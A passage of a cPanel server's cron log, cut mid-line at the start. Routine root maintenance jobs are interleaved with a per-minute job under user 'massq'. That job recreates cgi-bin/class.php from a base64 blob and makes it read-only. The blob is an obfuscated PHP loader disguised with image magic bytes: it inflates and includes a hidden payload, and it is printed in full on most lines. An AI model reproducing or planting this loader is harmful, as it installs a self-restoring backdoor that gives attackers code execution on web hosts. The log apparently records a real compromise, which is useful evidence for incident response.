QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:18:01 server CROND[25698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:18:01 server CROND[25699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:18:01 server CROND[25700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:19:01 server CROND[26067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:19:01 server CROND[26068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:19:01 server CROND[26069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:20:01 server CROND[26500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:20:01 server CROND[26501]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:20:01 server CROND[26502]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:20:01 server CROND[26508]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:20:01 server CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:20:01 server CROND[26507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:20:01 server CROND[26505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:20:01 server CROND[26509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:20:01 server CROND[26510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:21:01 server CROND[27333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:21:01 server CROND[27334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:21:01 server CROND[27335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:22:01 server CROND[27701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:22:01 server CROND[27702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:22:01 server CROND[27703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:23:01 server CROND[28165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:23:01 server CROND[28167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:23:01 server CROND[28166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:24:01 server CROND[28537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:24:01 server CROND[28538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:24:01 server CROND[28539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:25:01 server CROND[28942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:25:01 server CROND[28943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:25:01 server CROND[28944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:25:01 server CROND[28946]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:25:01 server CROND[28953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:25:01 server CROND[28950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:25:01 server CROND[28948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:25:01 server CROND[28952]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 06:26:01 server CROND[29793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:26:01 server CROND[29795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:26:01 server CROND[29794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:27:01 server CROND[30291]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:27:01 server CROND[30293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:27:01 server CROND[30292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:27:01 server CROND[30294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:28:01 server CROND[30736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:28:01 server CROND[30737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:28:01 server CROND[30739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:29:01 server CROND[31142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:29:01 server CROND[31144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:29:01 server CROND[31143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:30:01 server CROND[31524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
